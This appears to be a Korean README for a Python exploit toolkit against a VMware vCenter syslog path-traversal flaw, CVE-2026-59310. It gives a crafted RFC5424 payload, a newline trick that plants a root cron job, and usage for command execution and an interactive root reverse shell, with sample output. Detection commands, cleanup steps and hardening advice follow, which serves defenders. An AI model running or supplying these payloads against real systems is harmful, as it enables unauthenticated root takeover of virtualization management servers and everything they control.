
CVE-2026-59310에 대한 Python PoC 및 익스플로잇으로, cron 주입을 통해 인증되지 않은 root RCE로 이어지는 VMware vCenter syslog 경로 순회 취약점이며, 탐지 및 정리 가이드를 포함합니다.
면책 조항: 본 프로젝트는 승인된 보안 테스트, 취약점 검증 및 방어 연구 목적으로만 사용됩니다. 명시적인 서면 승인을 받은 환경에서 사용하십시오. 사용자는 오용으로 인해 발생하는 모든 결과에 대해 스스로 책임을 집니다.
| 항목 | 내용 |
|---|---|
| 취약점 이름 | VMware vCenter Syslog 디렉터리 트래버설 취약점 |
| 취약점 번호 | CVE-2026-59310 |
| 취약점 유형 | 디렉터리 트래버설(Path Traversal) → 임의 파일 쓰기 → 원격 코드 실행 |
| CVSS 3.1 | 9.8(Critical) |
| 익스플로잇 전제 조건 | syslog 포트(기본 UDP/TCP 514)에 접근 가능하기만 하면 되며, 자격 증명 불필요 |
| 익스플로잇 결과 | root 권한으로 임의 경로에 쓰기 및 임의 코드 실행 |
| 공개 시점 | 2026-07-29 |
| 실제 공격 사례 | 발견됨 |
| 벤더 공지 | VMSA-2026-0006 |
vCenter에 내장된 syslog 수신 서비스(rsyslog)는 동적 경로 템플릿을 사용하여 로그를 저장하며, 템플릿은 메시지 헤더의
APP-NAME, HOSTNAME 필드를 파일 경로에 그대로 연결하고 경로 정제를 수행하지 않습니다. 공격자가 접근 가능한 syslog
포트로 특수하게 조작된 메시지를 전송하면 쓰기 경로가 예정된 로그 디렉터리를 벗어나게 할 수 있으며, 이를 예약 작업과 결합하여 임의 코드 실행을 달성할 수 있습니다.
vCenter는 가상화 관리의 중추이며, 한 번 침해되면 전체 vSphere / VCF 환경이 장악되는 것과 같습니다.
영향받는 버전(다음 수정 버전 미만)
동시 영향: 독립 배포된 vCenter, 그리고 VMware Cloud Foundation, VMware vSphere Foundation, VMware Telco Cloud에서 사용되는 영향받는 vCenter 구성 요소.
검증된 환경: VMware vCenter Server 9.0.2.0 / Build 25148086, 수정 버전 25629525보다 이전이므로 미수정 상태임이 확인됨.
/etc/rsyslog.conf(VMware 출하 기본 설정):
29: $template defaultLoc, "/var/log/vmware/%app-name%/%app-name%-syslog.log"
33: $template rsyslogadminLoc,"/var/log/vmware/%app-name%/%app-name%-syslog.log"
35: $template esxLoc, "/var/log/vmware/esx/%hostname%/%hostname%-syslog.log"
%app-name%이 디렉터리 이름과 파일 이름으로 동시에 사용되며, 경로 정제가 없습니다.
63: :app-name, startswith, "rsyslog" ?rsyslogadminLoc;rsyslogadminFmt
접두사 일치만 요구하므로, 공격자는 rsyslog/...를 사용하여 해당 규칙에 매칭되고 동적 경로 템플릿으로 진입할 수 있습니다.
24: $EscapeControlCharactersOnReceive off
메시지 내용의 개행이 그대로 디스크에 기록되므로, 공격자가 기록되는 파일의 행 구조를 제어할 수 있습니다.
이것이 본 취약점에서 가장 놓치기 쉬운 부분입니다.
/는 기본적으로 허용되지 않아,
APP-NAME이 /에서 잘림 → 트래버설 불가.APP-NAME은 독립적인 공백 구분 필드이며, 문자 화이트리스트 검증을 수행하지 않아,
/와 ..가 그대로 유지됨 → 트래버설 가능.서버 측 input(type="imudp" port="514")는 기본 규칙 집합을 사용하며, RFC5424 메시지도 동시에 수용합니다.
공격자는 메시지를 RFC5424 형식으로 작성하기만 하면 트래버설 문자가 파일 경로에 도달할 수 있습니다.
실측 비교(동일 페이로드 rsyslog/../../../../tmp/x):
| 파서 | 실제 %app-name% 값 |
|---|---|
| pmrfc3164 | rsyslog ← /에서 잘림 |
| pmrfc5424 | rsyslog/../../../../tmp/x ← 완전히 유지됨 |
방증: 순수
..는 리터럴 디렉터리 이름으로 생성됩니다(예:rsyslog..). 이는 rsyslog의 omfile 계층이..정규화를 수행하지 않음을 보여줍니다. 실제 성패를 결정하는 것은 파서가/를 필드에 전달할 수 있는지 여부입니다.
① 비인증 UDP 패킷 → ② RFC5424 APP-NAME에 트래버설 포함 → ③ 로그 디렉터리를 벗어나 임의 쓰기(root)
↓
⑤ root 코드 실행 ← ④ /etc/cron.d에 예약 작업 삽입
<134>1 2026-01-05T12:00:00Z h rsyslog/../../../../tmp/PWNED 1 ID - hello
템플릿에 대입:
디렉터리 = /var/log/vmware/rsyslog/../../../../tmp/PWNED → /tmp/PWNED
파일 = 위와 동일 + "-syslog.log" → /tmp/PWNED-syslog.log
결과: root 소유자로 /tmp/PWNED-syslog.log에 기록되며, 누락된 상위 디렉터리는 자동 생성되고 내용은 완전히 제어 가능합니다.
기록되는 파일 이름은 항상 -syslog.log로 끝나므로 /etc/cron.d/xxx를 직접 덮어쓸 수 없습니다.
그러나 개행 관통을 이용하여 MSG에 개행을 주입하면, 제어 가능한 내용이 파일의 0번째 열부터 시작하도록 만들 수 있습니다:
2026-01-05T12:00:00Z info rsyslog/../../../../../etc/cron.d/poc ← cron이 "bad minute"으로 보고, 무시
* * * * * root /bin/sh -c '{ id; } > /tmp/out.txt 2>&1' ← 유효한 cron 행으로 실행됨
#
crond가 root로 스케줄 실행하여 획득:
uid=0(root) gid=0(root) groups=0(root),4044(shellaccess)
/opt/vmware/share/htdocs/에 기록(lighttpd가 5480에서 수신),
이후 https://<target>:5480/...을 통해 읽음. 벤더 공지 설명과 일치./var/spool/cron/root: 해당 디렉터리에 기록할 수 있으나 root라는 이름의 파일 본체가 필요하며,
-syslog.log 접미사 제한을 받으므로 /etc/cron.d/가 더 직접적임.임의 파일 쓰기(비인증)
$ python3 exploit_cve_2026_59310.py <target> --check
[i] API 네임스페이스 버전: 9.0.0.0 (appliance build가 아니며, 지문 참고용)
[*] APP-NAME : rsyslog/../../../../../tmp/cve59310_check_<name>
[+] 전송 완료. 대상에 root 소유 파일이 생성될 것으로 예상됨
# 대상에서:
-rw-r----- 1 root root 102 /tmp/cve59310_check_<name>-syslog.log
명령 실행(root)
$ python3 exploit_cve_2026_59310.py <target> -c "id; hostname"
[+] 삽입 완료 : /etc/cron.d/cve59310<name>-syslog.log
[i] 결과 읽기 : cat /tmp/cve59310_<name>.txt
# 약 60초 후:
uid=0(root) gid=0(root) groups=0(root),4044(shellaccess)
localhost
대화형 리버스 셸(root)
$ python3 exploit_cve_2026_59310.py <target> --lhost <당신의IP> --lport 4444
[+] 0.0.0.0:4444에서 수신 대기 중
[+] 삽입 완료 : /etc/cron.d/cve59310<name>-syslog.log
[+] 역연결 성공, 출처 <target>:56184 —— root 셸이 수립됨
root@target# id; whoami
uid=0(root) gid=0(root) groups=0(root),4044(shellaccess)
root
대상 IP, 리버스 주소 등은 자신의 승인된 테스트 환경에 맞게 교체하십시오.
exploit_cve_2026_59310.py# 1) 대화형 root 리버스 셸(가장 일반적)
python3 exploit_cve_2026_59310.py <target> --lhost <당신의IP> --lport 4444
# 2) 단일 명령 실행, 출력은 대상의 /tmp/<name>.txt에 기록
python3 exploit_cve_2026_59310.py <target> -c "id; hostname"
# 3) 비파괴 검증: 비인증 임의 파일 쓰기만 증명
python3 exploit_cve_2026_59310.py <target> --check
# 4) 정리 명령 확인
python3 exploit_cve_2026_59310.py <target> --cleanup
주요 매개변수:
poc_vcenter_rce.pypython3 poc_vcenter_rce.py <target> --check # 임의 쓰기 검증
python3 poc_vcenter_rce.py <target> --rce "id" --name t # 명령 실행
python3 poc_vcenter_rce.py <target> --cleanup # 정리 안내
poc_syslog_traversal.pyHOSTNAME / APP-NAME을 독립적으로 제어할 수 있어 수동으로 메시지를 구성하는 데 사용됩니다:
python3 poc_syslog_traversal.py <target> \
--tag 'rsyslog/../../../../tmp/test' --msg 'hello'
본 취약점은 쓰기 프리미티브만 제공하므로, 스크립트가 원격 파일을 스스로 삭제할 수 없습니다. 정리는 대상에서 실행해야 합니다:
rm -f /etc/cron.d/cve59310*-syslog.log
rm -rf /etc/cron.d/cve59310*
rm -f /tmp/cve59310_* /tmp/cve59310_check_*
# vCenter Shell에서 버전 확인(Build < 25629525인 9.0 브랜치는 미수정)
cat /etc/vmware-release
cat /etc/applmgmt/appliance/version
# 취약한 동적 경로 템플릿 존재 여부 확인
grep -nE '%(app-name|hostname)%' /etc/rsyslog.conf
# 개행 관통 활성화 여부 확인
grep -n 'EscapeControlCharactersOnReceive' /etc/rsyslog.conf
# 1) /etc/cron.d 하위 비정상 파일(중점: -syslog.log 접미사가 붙은 항목)
ls -la /etc/cron.d/
grep -rl 'syslog.log' /etc/cron.d/ 2>/dev/null
# 2) 로그 디렉터리 외부의 의심스러운 *-syslog.log 파일(전체 디스크 스캔, 가장 효과적)
find / -name '*-syslog.log' -not -path '/var/log/vmware/*' -not -path '/storage/log/vmware/*' 2>/dev/null
# 3) 트래버설로 생성된 비정상 디렉터리(경로에 .. 또는 % 등의 문자가 포함된 디렉터리 주의)
ls -la / | grep -E '\.\.|%'
ls -la /var/log/vmware/ | grep -E '\.\.|%|rsyslog[^d]'
# 4) VAMI 정적 디렉터리에 기록된 내용
ls -la /opt/vmware/share/htdocs/
# 5) syslog 포워딩 로그의 비정상 hostname(/ 또는 ..가 포함된 APP-NAME)
grep -nE '(\.\./|/)' /var/log/vmware/messages | head
팁: 2번 전체 디스크 스캔이 가장 신뢰할 수 있는 조사 수단입니다. 템플릿이 존재하지 않는 경로로 트래버설하면 rsyslog가 상위 디렉터리를 자동 생성하므로,
/..etc/,/rsyslog../같은 기형 디렉터리 또한 명확한 침해 흔적입니다.
영향받는 버전 표를 참조하여 업그레이드하십시오. 9.0 브랜치는 최소 **9.0.2.0100(Build 25629525)**이 요구됩니다.
RFC5424 공격 표면 차단(가장 직접적): 514/1514 입력에 pmrfc3164 파서를 명시적으로 바인딩.
parser(name="p3164" type="pmrfc3164")
input(type="imudp" port="514" ruleset="all" parser="p3164")
명시적 경로 정제: omfile에 securepath="normal"과 secpath-drop="replace"를 설정.
업스트림 rsyslog 보안 공지(GHSA-xmp9-244p-5ggv)는 securepath가 신뢰할 수 있는 경로 경계임을 명확히 밝히고 있습니다.
개행 관통 차단: $EscapeControlCharactersOnReceive on 설정.
선택자 강화: :app-name, startswith, "rsyslog"를 정확 일치로 변경;
호스트 이름 판단 규칙을 출처 IP / 네트워크 대역 화이트리스트 기반으로 변경하여 임의의 외부 발신자가 동적 경로 템플릿에 진입하지 못하도록 함.
네트워크 격리: 514/1514는 관리 대상 ESXi와 신뢰할 수 있는 로그 포워더에만 개방하고, 비관리 네트워크에서의 접근을 금지.
⚠️ 주의: 현재
%hostname%경로를 막고 있는 것은 RFC3164 파서의 기본 동작이라는 우연한 방어선일 뿐이며, 신뢰할 수 있는 보안 경계가 아닙니다. 호환성을 위해permit.slashesinhostname을 활성화하면, 동일한 규칙이 즉시 익스플로잇 가능해집니다.
Q: 도구가 보고하는 버전이 9.0.0.0인데 실제 build와 다른 이유는?
/sdk/vimServiceVersions.xml이 반환하는 것은 API 네임스페이스 버전이며 appliance build 번호가 아니므로,
이를 근거로 수정 여부를 판단할 수 없습니다. vCenter Shell에서 cat /etc/vmware-release로 실제 build를 확인하십시오.
Q: 명령 실행 후 결과를 읽을 수 없는 이유는?
crond는 매분 스케줄되므로 일반적으로 약 60초를 기다려야 합니다. 또한 본 취약점은 쓰기 프리미티브만 있으므로
스크립트가 파일을 능동적으로 읽어올 수 없으며, 대상에서 cat /tmp/cve59310_<name>.txt를 실행해야 합니다.
--read-cmd로 외부 읽기 명령(예: ssh root@target cat {path})을 전달할 수도 있습니다.
Q: 리버스 셸이 역연결되지 않는 이유는?
일반적인 원인: 대상이 공격 머신에 접근할 수 없음(방화벽 / NAT / 네트워크 격리); crond가 아직 트리거되지 않음
(--timeout을 늘릴 수 있음); 수신 포트가 허용되지 않음. --method python으로 대체 구현을 전환할 수 있습니다.
Q: -c "a; b"가 일부 출력만 얻는 이유는?
수정되었습니다. 스크립트는 { cmd; } > file 2>&1 그룹 리다이렉션을 사용하여
전체 명령 시퀀스의 출력이 모두 캡처되도록 합니다(a; b > file은 마지막 명령만 리다이렉션함).
| 브랜치 | 영향 범위 | 수정 버전 |
|---|
| 9.1 | < 9.1.0.0300 | 9.1.0.0300 |
| 9.0 | < 9.0.2.0100 | 9.0.2.0100(Build 25629525) |
| 8.0 U3 | < 8.0 U3k | 8.0 U3k |
| 8.0 U2 | < 8.0 U2f | 8.0 U2f |
| 8.0 초기 버전 / U1 | 전체 | 지원 경로에 따라 8.0 U3k 이상으로 업그레이드 |
| 7.0 | 해당 확장 지원 패치 미설치 | Broadcom에 패치 문의 또는 지원 버전으로 마이그레이션 |
| 항목 | 값 |
|---|
| 대상 | VMware vCenter Server 9.0.2.0, Build 25148086 |
| 수정 버전 | 9.0.2.0100, Build 25629525 |
| rsyslog | 8.2306.0-4.ph5(VMware 커스텀 패키지) |
| syslog 포트 | UDP/TCP 514, TCP 1514(TLS) |
| 인증 요구 사항 | 없음 |
| 매개변수 | 설명 |
|---|
--port | syslog 포트, 기본 514 |
--tcp | UDP 대신 TCP 사용 |
--lhost / --lport | 리버스 셸 역연결 주소 / 포트 |
--method {bash,python} | 리버스 방식, 기본 bash(/dev/tcp) |
--name | 단일 실행의 고유 식별자, 기본 무작위 |
--timeout | 실행/역연결 대기 시간(초), 기본 180 |
-q | 배너 미출력 |